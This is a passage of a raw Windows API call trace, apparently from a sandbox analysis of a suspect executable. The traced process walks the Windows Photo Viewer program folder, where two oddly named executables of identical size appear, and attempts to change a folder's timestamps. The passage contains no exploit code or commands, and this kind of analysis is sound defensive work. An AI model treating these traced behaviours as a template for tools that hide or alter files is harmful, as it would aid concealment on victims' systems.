nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="choosing.exe", cAlternateFileName="")) returned 1 [0080.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.371] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.371] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0080.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.371] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1054327, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1054327, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1184e2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0080.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.372] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb102e1c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb102e1c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1054327, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0080.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.373] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b623846, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8b623846, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43a82ff0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0080.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.374] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0080.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.375] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c991400, ftCreationTime.dwHighDateTime=0x1d599f5, ftLastAccessTime.dwLowDateTime=0x3ef5e350, ftLastAccessTime.dwHighDateTime=0x1d5409e, ftLastWriteTime.dwLowDateTime=0x3ef5e350, ftLastWriteTime.dwHighDateTime=0x1d5409e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1 [0080.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.376] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c991400, ftCreationTime.dwHighDateTime=0x1d599f5, ftLastAccessTime.dwLowDateTime=0x3ef5e350, ftLastAccessTime.dwHighDateTime=0x1d5409e, ftLastWriteTime.dwLowDateTime=0x3ef5e350, ftLastWriteTime.dwHighDateTime=0x1d5409e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 0 [0080.379] GetLastError () returned 0x12 [0080.379] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9180 [0080.379] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.380] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.380] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1e1e9e0, ftCreationTime.dwHighDateTime=0x1d57f0b, ftLastAccessTime.dwLowDateTime=0xad2421e0, ftLastAccessTime.dwHighDateTime=0x1d56ce3, ftLastWriteTime.dwLowDateTime=0xad2421e0, ftLastWriteTime.dwHighDateTime=0x1d56ce3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="choosing.exe", cAlternateFileName="")) returned 1 [0080.380] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files\\windows photo viewer\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.388] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files\\windows photo viewer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.390] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.390] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.390] NtClose (Handle=0x178) returned 0x0 [0080.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.391] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.391] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.391] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0080.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4890 [0080.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123df90 [0080.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.393] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0080.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f48b0 [0080.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.394] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0080.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f48d0 [0080.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe128 [0080.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5e00) returned 0x12292f0 [0080.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a7c8) returned 1 [0080.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.395] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0080.395] GetLastError () returned 0x12 [0080.395] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0080.395] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.395] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0080.396] GetLastError () returned 0x12 [0080.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.396] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1054327, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1054327, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1184e2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb102e1c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb102e1c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1054327, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b623846, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8b623846, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43a82ff0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c991400, ftCreationTime.dwHighDateTime=0x1d599f5, ftLastAccessTime.dwLowDateTime=0x3ef5e350, ftLastAccessTime.dwHighDateTime=0x1d5409e, ftLastWriteTime.dwLowDateTime=0x3ef5e350, ftLastWriteTime.dwHighDateTime=0x1d5409e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1 [0080.396] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c991400, ftCreationTime.dwHighDateTime=0x1d599f5, ftLastAccessTime.dwLowDateTime=0x3ef5e350, ftLastAccessTime.dwHighDateTime=0x1d5409e, ftLastWriteTime.dwLowDateTime=0x3ef5e350, ftLastWriteTime.dwHighDateTime=0x1d5409e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 0 [0080.396] GetLastError () returned 0x12 [0080.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.397] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0080.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 